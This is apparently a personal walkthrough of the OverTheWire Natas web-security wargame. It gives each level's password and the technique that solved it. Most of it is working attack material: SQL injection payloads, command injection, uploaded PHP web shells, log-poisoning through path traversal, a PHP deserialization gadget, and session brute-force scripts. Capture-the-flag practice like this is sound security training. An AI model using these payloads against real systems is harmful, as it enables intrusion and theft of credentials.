Natas Overthewire
Link For Natas wargame : https://overthewire.org/wargames/natas/
Lvl 0
Username: natas0
Password: natas0
URL:
http://natas0.natas.labs.overthewire.org
natas1:gtVrDuiDfck831PqWsLEZy5gyDz1clto
lvl 0-1
Right clicking was disabled.
Page source can be viewed with C u or inspect element with CA i
The password for natas2 is ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi
lvl 1-2
[http://natas2.natas.labs.overthewire.org/files/users.txt](http://natas2.natas.labs.overthewire.org/files/users.txt)
# username:password
alice:BYNdCesZqW
bob:jw2ueICLvT
charlie:G5vCxkVV3m
natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
eve:zo4mJWyNj2
mallory:9urtcpzBmH
lvl 2-3
robots.txt
[http://natas3.natas.labs.overthewire.org/s3cr3t/](http://natas3.natas.labs.overthewire.org/s3cr3t/)
natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
lvl 3-4
Address was changed in referer in burp:
Access granted. The password for natas5 is iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
lvl 4-5
there was a logged in cookie and it was set to 0 and i set it to 1
Access granted. The password for natas6 is aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
lvl 5-6
<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>
//Access granted. The password for natas7 is 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
lvl 6-7
[http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8](http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8)
DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
lvl 7-8
php> echo base64_decode(strrev(hex2bin("3d3d516343746d4d6d6c315669563362")))
oubWYf2kBq
Access granted. The password for natas9 is W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
lvl 8-9
GET /?needle=[a-zA-z0-9]+/etc/natas_webpass/natas10%3b&submit=Search HTTP/1.1
Output:
<pre>
nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
</pre>
lvl 9-10
GET /?needle=c+/etc/natas_webpass/natas10+and+&submit=Search HTTP/1.1
/etc/natas_webpass/natas10:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
lvl 10-11
GET /?needle=c+/etc/natas_webpass/natas11+and+&submit=Search HTTP/1.1
/etc/natas_webpass/natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
lvl 11-12
//looking at the source code:
//$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
//now we have to send the cookie with these parameters
// array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
//and using known plaintext xor attack key was extracted: qw8J
$defaultdata = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
echo base64_encode(xor_encrypt(json_encode($defaultdata)))
ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
//data is set with above cookie
//The password for natas12 is EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
lvl 12-13
//viewing the intercepted request in bursuite we have a hidden html input called filename
//filename is edited to a.php and i uploaded a php file with content
<? php system($_GET['cmd'];) ?>
//and uploaded it and send a get request
GET /upload/g1gf1ul4d8.php?cmd=cat+/etc/natas_webpass/natas13 HTTP/1.1
Host: natas12.natas.labs.overthewire.org
Authorization: Basic bmF0YXMxMjpFRFhwMHBTMjZ3TEtIWnkxckRCUFVaazBSS2ZMR0lSMw==
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ne;q=0.8
Cookie: __utma=176859643.472868426.1590939308.1590939308.1591176859.2; __utmc=176859643; __utmz=176859643.1590939308.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
Connection: close
Output: jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
lvl 13-14
>>> fh = open('shell.php', 'w')
>>> fh.write('\xFF\xD8\xFF\xE0' + '<? passthru($_GET["cmd"]); ?>')
>>> fh.close()
http://natas13.natas.labs.overthewire.org/upload/som2d7x3fz.php?cmd=cat%20/etc/natas_webpass/natas14
Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
lvl 14-15
POST /index.php?debug=1 HTTP/1.1
Host: natas14.natas.labs.overthewire.org
Content-Length: 44
Cache-Control: max-age=0
Authorization: Basic bmF0YXMxNDpMZzk2TTEwVGRmYVB5VkJrSmRqeW1ibGxRNUw2cWRsMQ==
Upgrade-Insecure-Requests: 1
Origin: http://natas14.natas.labs.overthewire.org
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://natas14.natas.labs.overthewire.org/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ne;q=0.8
Cookie: __utma=176859643.472868426.1590939308.1590939308.1591176859.2; __utmc=176859643; __utmz=176859643.1590939308.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
Connection: close
username="+union+select+1,2--+-&password=aad
Successful login! The password for natas15 is AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
lvl 15-16
//ran this on intruder multiple time to get the password
POST /index.php?debug=1 HTTP/1.1
Host: natas15.natas.labs.overthewire.org
Content-Length: 131
Cache-Control: max-age=0
Authorization: Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==
Upgrade-Insecure-Requests: 1
Origin: http://natas15.natas.labs.overthewire.org
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://natas15.natas.labs.overthewire.org/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ne;q=0.8
Cookie: __utmc=176859643; __utma=176859643.472868426.1590939308.1591176859.1593693887.3; __utmz=176859643.1593693887.3.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)
Connection: close
username="+union+select+1,2+from+users+where+md5(substring((select+password+from+users+where+username='natas16'),33,1))=md5('§W§')--+-
natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
lvl 16-17
# in burp intruder
GET /?needle=hellos$(grep+^8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw§a§+/etc/natas_webpass/natas17)&submit=Search HTTP/1.1
Host: natas16.natas.labs.overthewire.org
Authorization: Basic bmF0YXMxNjpXYUlIRWFjajYzd25OSUJST0hlcWkzcDl0MG01bmhtaA==
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/json,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://natas16.natas.labs.overthewire.org/?needle=dsad&submit=Search
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ne;q=0.8
Cookie: __utmc=176859643; __utma=176859643.472868426.1590939308.1591176859.1593693887.3; __utmz=176859643.1593693887.3.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)
Connection: close
natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
lvl 17-18
as there is no error shown we do time based sql injection
payload
username=”union select 1,2 from users order by (case when (md5(substring((select password from users where username=’natas18’),33,1))=md5(‘§A§’)) then sleep(5) else 1/0 end)–+-
POST /index.php?debug=1 HTTP/1.1
Host: natas17.natas.labs.overthewire.org
Content-Length: 174
Cache-Control: max-age=0
Authorization: Basic bmF0YXMxNzo4UHMzSDBHV2JuNXJkOVM3R21BZGdRTmRraFBrcTljdw==
Upgrade-Insecure-Requests: 1
Origin: http://natas17.natas.labs.overthewire.org
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://natas17.natas.labs.overthewire.org/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ne;q=0.8
Cookie: __utmc=176859643; __utma=176859643.472868426.1590939308.1591176859.1593693887.3; __utmz=176859643.1593693887.3.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)
Connection: close
username="union select 1,2 from users order by (case when (md5(substring((select password from users where username='natas18'),33,1))=md5('§A§')) then sleep(5) else 1/0 end)--+-
Running this on repeater password for user natas18 was retrieved
natas18:xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
lvl18-19
here it checks if there is admin in the SESSION. if there isnot it sets the value to 0. so we have to find a session where the value of admin is already set. ie admin session
and as the maxid is from 1 to 640, we change our phpsessionid to 1 to 640 in the burp repeater and see if we get the admin session
POST /index.php?debug=1 HTTP/1.1
Host: natas18.natas.labs.overthewire.org
Content-Length: 42
Cache-Control: max-age=0
Authorization: Basic bmF0YXMxODp4dktJcURqeTRPUHY3d0NSZ0RsbWowcEZzQ3NEamhkUA==
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Origin: http://natas18.natas.labs.overthewire.org
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://natas18.natas.labs.overthewire.org/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ne;q=0.8
Cookie: __utma=176859643.472868426.1590939308.1591176859.1593693887.3; __utmc=176859643; __utmz=176859643.1593693887.3.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided);
**PHPSESSID=§1§;**
Connection: close
username=admin&password=admin
Username: natas19 Password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs
lvl 19-20
it is similar to previous one but the session id is not sequential.
while logging with admin:admin phpsessionid = 3332392d61646d696e when hexdecoded gives 329-admin
so the phpsession id for natas20 will be (0-640)-natas20
import requests
url="http://natas19.natas.labs.overthewire.org/index.php?debug=1"
for i in range(31,40):
for j in range(30,40):
for k in range(30,40):
username="natas20"
password = "password"
data = {'username':username,'password':password}
cookies = {
'PHPSESSID' :str(i)+str(j)+str(k)+'2d61646d696e'
}
print(cookies['PHPSESSID'])
r = requests.post(url,data=data,cookies=cookies,headers={'Authorization': 'Basic bmF0YXMxOTo0SXdJcmVrY3VabEE5T3NqT2tvVXR3VTZsaG9rQ1BZcw=='})
if "Login as an admin to retrieve credentials"not in r.text:
print(r.text)
exit()
Username: natas20 Password: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF
lvl 20-21
Looking at the source code it has custom session management and to get the flag we should have admin set to 1 in SESSIONS. And we can make post request through which we can send name variable which is searlized and saved to a php session file in /var/lib/php5/sessions/mysess_(phpsessionid). Looking at the source code for write we cant set admin to 1 by post method but looking at the read_file function
here the content of the session file is first exploded with newline ‘\n’ which will output as arrays.
then again the content of line 2 is exploded with space. ie “ “ and if parts[0] is not equal to “” then value of parts[0] is set to parts[2] and it is also a session variable. so we have to craft the value of name as “/nadmin 1” so that we can get the flag.
Username: natas21 Password: IFekPyrQXftziDEsUr3x21sYuahypdgJ
lvl 21-22
Looking at the source code if the admin variable is equal to 1 we get the password and there is a link to another website which are related . And looking at the source code of other website we can easily set the global variables and as they are related if i copy the PHPSESSIONID from this site to another then we get the flag.
Username: natas22 Password: chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ
lvl 22-23
Looking at the source code, if revelio parameter was set, we would get the password but there was instant redirection to / when request was made. so the request was made from burp and key was obtained
Username: natas23 Password: D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE
lvl 23-24
Looking at the source code there is a loose comparison in php
we can make it true by making a post request using
passwd=100 iloveyou
Username: natas24 Password: OsRmXFguozKpTZZ5X14zNO43379LZveg
lvl 24-25
Looking at the source code we have to compare between passwd and the actual password
This can be bypassed by using array
POST /index.php HTTP/1.1
Host: natas24.natas.labs.overthewire.org
Authorization: Basic bmF0YXMyNDpPc1JtWEZndW96S3BUWlo1WDE0ek5PNDMzNzlMWnZlZw==
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://natas24.natas.labs.overthewire.org/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ne;q=0.8
Cookie: __utma=176859643.1991032151.1593787332.1593787332.1593787332.1; __utmc=176859643; __utmz=176859643.1593787332.1.1.utmcsr=natas22-experimenter.natas.labs.overthewire.org|utmccn=(referral)|utmcmd=referral|utmcct=/
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
passwd[]=
Username: natas25 Password: GHF6X7YwACaYYssHVY05cFq83hRktl4c
lvl 25-26
By looking at the source code we can see there are two checks strstr() and str_replace()
strstr() can be bypassed easily as it gives everything after first match. and strreplace replaces every ../ with “” so we can craft our input as
lang=..././..././..././..././..././..././..././..././..././etc/passwd
We have LFI.
But we cant read password file from /etc/natas_webpass/natas26.
But looking at the above code, we can read the log file. So we can inject php code in http-user-agent and the log file executes it while we access it through LFI. So we make a request with
POST /index.php HTTP/1.1
Host: natas25.natas.labs.overthewire.org
Cache-Control: max-age=0
Authorization: Basic bmF0YXMyNTpHSEY2WDdZd0FDYVlZc3NIVlkwNWNGcTgzaFJrdGw0Yw==
Upgrade-Insecure-Requests: 1
User-Agent: <?php system("cat /etc/natas_webpass/natas26") ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ne;q=0.8
Cookie: __utma=176859643.1991032151.1593787332.1593787332.1593787332.1; __utmc=176859643; __utmz=176859643.1593787332.1.1.utmcsr=natas22-experimenter.natas.labs.overthewire.org|utmccn=(referral)|utmcmd=referral|utmcct=/; PHPSESSID=5ls5ag19m6nja8k9lkhrdhgii2
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 124
lang = ../../etc/passwd
It keeps the log in the file. So getting the log file using LFI
POST /index.php HTTP/1.1
Host: natas25.natas.labs.overthewire.org
Cache-Control: max-age=0
Authorization: Basic bmF0YXMyNTpHSEY2WDdZd0FDYVlZc3NIVlkwNWNGcTgzaFJrdGw0Yw==
Upgrade-Insecure-Requests: 1
User-Agent: <?php system("cat /etc/natas_webpass/natas26;echo 'natas password'") ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ne;q=0.8
Cookie: __utma=176859643.1991032151.1593787332.1593787332.1593787332.1; __utmc=176859643; __utmz=176859643.1593787332.1.1.utmcsr=natas22-experimenter.natas.labs.overthewire.org|utmccn=(referral)|utmcmd=referral|utmcct=/; PHPSESSID=5ls5ag19m6nja8k9lkhrdhgii2
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 124
lang=..././..././..././..././..././..././..././..././..././var/www/natas/natas25/logs/natas25_5ls5ag19m6nja8k9lkhrdhgii2.log
Now on log file we get the password: oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T
lvl 26-27
Looking at code there is unserialization on user controllable cookie value drawing without any sanitization. and also looking at the source code below we can see there is a class with the magic methods present.
In this class Logger __construct and __destruct are present which are the magic methods and are called if there is unserialization of their objects. so let us create a php file to create a serialized object for the class Logger.
<?php
class Logger{
private $logFile= 'img/c.php';
private $exitMsg = '<?php system($_GET["cmd"]); ?>';
private $initMsg = "<?php include('/etc/passwd'); ?>";
}
echo urlencode(base64_encode(serialize(new Logger())));
?>
Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czo5OiJpbWcvYy5waHAiO3M6MTU6IgBMb2dnZXIAZXhpdE1zZyI7czozMDoiPD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BIjtzOjE1OiIATG9nZ2VyAGluaXRNc2ciO3M6MzI6Ijw%2FcGhwIGluY2x1ZGUoJy9ldGMvcGFzc3dkJyk7ID8%2BIjt9
Now the value of drawing is set to the value above and request is made. After the request is made a file called c.php is created with the content of exitMsg in it in img directory in our web server root folder. And making the get request to the file img/c.php?cmd=cat+/etc/natas_webpass.natas26, we get the password
natas27:55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ
lvl 27-28
Looking at the small portion of the code the sql query is passed through the mysql_real_escape_string which will prepend \ in the escape characters like \00, ‘, “, and so on. So we cant actually close the user with ‘ to perform sql injection. Looking at many articles how we can bypass the mysql_real_escape_string, i found that it can be escaped with techniques like using a subquery or using hex(27) which will equal to ‘, but none worked in this case. For this to work there shouldnot be any paranthesis in the user field means it will work for something like a id which is a int parameter. So that was a dead end.
Further looking at the code, what i found interesting is the while loop to print credentials. Well the user is only one, so why there is a need of a loop to print the credentials. It might be the indication of there might be possibility of two users with same username.
Looking at the table schema the length of username is 64. So sql has this weird property that if we pass username whose length is more than 64, it will truncate the whole value after 64th character.
POST /index.php HTTP/1.1
Host: natas27.natas.labs.overthewire.org
Content-Length: 175
Cache-Control: max-age=0
Authorization: Basic bmF0YXMyNzo1NVRCanBQWlVVSmdWUDViM0JuYkc2T045dURQVnpDSg==
Upgrade-Insecure-Requests: 1
Origin: http://natas27.natas.labs.overthewire.org
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://natas27.natas.labs.overthewire.org/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ne;q=0.8
Connection: close
username=natas28++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++1&password=
So crafting username in such a way that it has natas28 and a bunch of spaces and using that i was able to create a new user. and Logging with that username and password, we get the password for the natas28.
natas28:JWwR438wkgTsNKBbcJoowyysdM82YjeF
lvl 28-29
Looking at the home page we can see there is some kind of database which is getting the result of user searched queries.
Initial hypothesis: select ? from ? where query like ‘%
So i tried sql injection with ‘
But it returned the result means that it has some kind of mechanism of filtering the characters.
My assumption that is our input might pass through mysql_real_escape_string() before doing the query.
And another interesting thing that i saw on the browser is the link.
http://natas28.natas.labs.overthewire.org/search.php/?
query=G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjPK2m1Dlc2qtE8XWPmhO77spSHmaB7HSm1mCAVyTVcLgDq3tm9uspqc7cbNaAQ0sTFc%3D
Here the query is some jibber jabber which actually might be base64 encoded by the looks of it. When i url decode and base64 decode it, it was also some gibberish text.
Then i begin by tampering with this query parameter. I deleted bunch of characters from the query string and i get a different output.
Now my assumption was that the backend takes the user input, does some PKCS#7 padding according to the blocksize and encrypt’s the data with AES ie either by CBC or EBC.
First we have to find the block size of the cipher, so i sent different length character ‘A’ and observed the output
For simplicity the output are converted into blocks of 16 bytes and in hex. I have chosen 16 because the length of the aes key is 128, 192, or 256 bits ie 16,24 or 32 bytes.
#!/usr/bin/python3
#code to make the requests and get the base64 encoded cipher
import requests
from urllib.parse import unquote
from base64 import b64decode,b64encode
import sys
import codecs
#query = "aaaaaaaaa'union select password from users#"
query = sys.argv[1]
url = "http://natas28.natas.labs.overthewire.org/"
headers = {'Authorization':'Basic bmF0YXMyODpKV3dSNDM4d2tnVHNOS0JiY0pvb3d5eXNkTTgyWWplRg==',
}
params = { 'query' : query,
}
r = requests.post(url+'index.php',data=params,headers=headers,allow_redirects=False)
red = (r.headers['Location'])
val = r.headers["Location"][18:]
b64d = b64decode(unquote(val))
url += red
r = requests.get(url,headers=headers)
def brk(lis):
ans = []
length = len(lis)
for i in range(0,length,16):
ans.append(lis[i:i+16])
return ans
ans = brk(b64d)
for i in ans:
print(codecs.encode(i,'hex').decode())
#Input A * 1
Blocks
1 1be82511a7ba5bfd578c0eef466db59c
2 dc84728fdcf89d93751d10a7c75c8cf2
3 ab880a8f136fbeb98967891324a1b075
4 bdfa1054ec68515cf96f2a5544591947
5 904f4b2abf2c2d7686aa72a53151c970
#Input A * 2
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
b130a531bec89c705213bfa5c9667ac7
48799a07b1d29b5982015c9355c2e00e
aded9bdbaca6a73b71b35a010d2c4c57
We can observe interesting facts here that our 1st and 2nd block in both condition is same.
New hypothesis will be that it takes some input and prepends something to it.
Now i keep incrementing the length of the input until i see that change.
#Input A * 13
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
c0872dee8bc90b1156913b08a223a39e
1f74714d76fcc5d464c6a221e6ed98e4
6223a14d9c4291b98775b03fbc73d4ed
d8ae51d7da71b2b083d919a0d7b88b98
For 13 A’s we can see that there is increase in the numbers of the block and the increase is by 16 bytes, so we can confirm that the blocksize is 16
#Input A * (13+16)
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
c0872dee8bc90b1156913b08a223a39e
b39038c28df79b65d26151df58f7eaa3
1f74714d76fcc5d464c6a221e6ed98e4
6223a14d9c4291b98775b03fbc73d4ed
d8ae51d7da71b2b083d919a0d7b88b98
We can see that while increasing the input’s length by 16, there is increase in numbers of blocks, which confirms that the blocksize is indeed 16
#Input A*(13+16+16)
1be82511a7ba5bfd578c0eef466db59c # Static text
dc84728fdcf89d93751d10a7c75c8cf2 # Static Text
c0872dee8bc90b1156913b08a223a39e #
**b39038c28df79b65d26151df58f7eaa3 # 16 A's**
**b39038c28df79b65d26151df58f7eaa3 # 16 A's**
1f74714d76fcc5d464c6a221e6ed98e4
6223a14d9c4291b98775b03fbc73d4ed
d8ae51d7da71b2b083d919a0d7b88b98
from the above output we can see that few blocks are actually repeating, means it is EBC because if the same blocks are encrypted by a key in EBC, the output will be the same.
From all of the above cases we can see that block 1 and 2 have static content and they are not changing but block number 3 is changing with the input, means it contains our input.
Input A * 100
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
c0872dee8bc90b1156913b08a223a39e
**b39038c28df79b65d26151df58f7eaa3
b39038c28df79b65d26151df58f7eaa3
b39038c28df79b65d26151df58f7eaa3
b39038c28df79b65d26151df58f7eaa3
b39038c28df79b65d26151df58f7eaa3**
2011bbe488dde1bbec961b6170b30e12
29287f3cc5479e12e66f31c863b18047
56d5732dc8c770f64397...
Even though 3rd block is containing our input, it certainly contains some static content too. If it hadnot contained any static contents value of 3rd block would have been equal to 4th block. Now we have to find how many bytes are static content.
Now i repeat the same procedure by sending ‘A’ and incrementing the length of our data.
#Input A * 9
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
**9e622686a52640595706099abcb052bb**
a09522f301cf9d36ac7023f165948c5a
9739cd90522fa7a86f95773b56f9f8c0
#Input A * 10
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
**c0872dee8bc90b1156913b08a223a39e**
738a5ffb4a4500246775175ae596bbd6
f34df339c69edce11f6650bbced62702
#Input A * 11
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
**c0872dee8bc90b1156913b08a223a39e**
b4eda087d3c0bea2bedc1b6140b9e2eb
ca8cf4e610913abae39a067619204a5a
If we see the 3rd block in each case, we can see that it is repeating after the length of the input is 10. From that we can guess that we have 6 bytes of Static text and 10 bytes of our data.
1be82511a7ba5bfd578c0eef466db59c ????????????????
dc84728fdcf89d93751d10a7c75c8cf2 ????????????????
c0872dee8bc90b1156913b08a223a39e ??????AAAAAAAAAA
b4eda087d3c0bea2bedc1b6140b9e2eb ????????????????
ca8cf4e610913abae39a067619204a5a ????????????????
Looking at the above scenario, now we know that where our text is going to go, we can decode the unknown text which is coming after the known text ie 10 A’s.
This is the challenge 12 in cryptopals which tells us how to decode that unknown string byte by byte.
But i will try a different approach here.
Now that we know where our input is going to be,now we can try sql injection but we have to be clever while doing it because it will prepend a ‘/’ if we try to close that LIKE statement with a parenthesis.
So this is what we are going to do.
- Make a request with 10 A’s
1be82511a7ba5bfd578c0eef466db59c #some static data
dc84728fdcf89d93751d10a7c75c8cf2 #we dont care
c0872dee8bc90b1156913b08a223a39e ??????AAAAAAAAAA #10 A's
738a5ffb4a4500246775175ae596bbd6 #we dont know that this is
f34df339c69edce11f6650bbced62702 #might be some data and padding
- now we are going to change our query to 9 A’s and our sql injection payload. Even though we dont know what are the column names and how many columns are returned, we are assuming the database schema will be similar to previous examples.
payload = AAAAAAAAA'union select password from users#
# request made with above paylaod
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
11dbb80ae02425dc9726bffd1803160e ??????AAAAAAAAA\ #9 A's and a '\'
5661930eeb7fdf14027d5b900ed1cec6 'union select password
b678f4a5c38072de4ab3eb6c6482b1f3 from .... and so on
f9c2015a39789562ab8212d01b28d603
75fd5044fd063d26f6bb7f734b41c899
What happens is that the a backslash is appended to the paranthesis which will fill the 3rd block because we have inputted the 9 A’s and the paranthesis will go to the next block as shown in figure above.
- Now we have to replace the 3rd block in step 2 with the 3rd block in step 1. By doing so we now successfully removed the backslash and now you query is valid to get the password.
1be82511a7ba5bfd578c0eef466db59c
dc84728fdcf89d93751d10a7c75c8cf2
11dbb80ae02425dc9726bffd1803160e ??????AAAAAAAAAA
5661930eeb7fdf14027d5b900ed1cec6 'union select password
b678f4a5c38072de4ab3eb6c6482b1f3 from .... and so on
f9c2015a39789562ab8212d01b28d603
75fd5044fd063d26f6bb7f734b41c899
Now we just have to base64 encode this and send it to the web server.
payload:G%2BglEae6W/1XjA7vRm21nNyEco/c%2BJ2TdR0Qp8dcjPLAhy3ui8kLEVaROwiiI6OeVmGTDut/3xQCfVuQDtHOxrZ49KXDgHLeSrPrbGSCsfP5wgFaOXiVYquCEtAbKNYDdf1QRP0GPSb2u39zS0HImQ%3D%3D
natas29:airooCaiseiyee8he8xongien9euhe8b
lvl 29-30
Command injection
natas30:wie9iexae0Daihohv8vuu3cei9wahf0e
lvl 30-31
import requests
headers = { 'Authorization':'Basic bmF0YXMzMDp3aWU5aWV4YWUwRGFpaG9odjh2dXUzY2VpOXdhaGYwZQ=='}
url = "http://natas30.natas.labs.overthewire.org/index.pl"
params = {'username':"natas31",'password': ["'a' or 1",5]}
cookies = {}
r = requests.post(url,data=params,cookies=cookies,headers=headers)
print(r.text)
Here param is case sensitive and if we send two values it will return a list. And quote checks the optional second parameter and if it is integer, even if the first parameter is string, it will return it without unquoting
natas31:hay7aecuungiuKaezuathuk9biin0pu1
lvl 31-23
POST /index.pl?cat%20/etc/natas_webpass/natas32%20| HTTP/1.1
Host: natas31.natas.labs.overthewire.org
Content-Length: 355
Cache-Control: max-age=0
Authorization: Basic bmF0YXMzMTpoYXk3YWVjdXVuZ2l1S2FlenVhdGh1azliaWluMHB1MQ==
Upgrade-Insecure-Requests: 1
Origin: http://natas31.natas.labs.overthewire.org
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzI73FVSf9Ocjjgr7
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://natas31.natas.labs.overthewire.org/index.pl
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ne;q=0.8
Connection: close
------WebKitFormBoundaryzI73FVSf9Ocjjgr7
Content-Disposition: form-data; name="file";
ARGV
------WebKitFormBoundaryzI73FVSf9Ocjjgr7
Content-Disposition: form-data; name="file"; filename="password"
aaa
------WebKitFormBoundaryzI73FVSf9Ocjjgr7
Content-Disposition: form-data; name="submit"
Upload
------WebKitFormBoundaryzI73FVSf9Ocjjgr7--
natas32:no1vohsheCaiv3ieH4em1ahchisainge
lvl 32-33
This is done similar to above level
natas33:shoogeiGa2yee3de6Aex8uaXeech5eey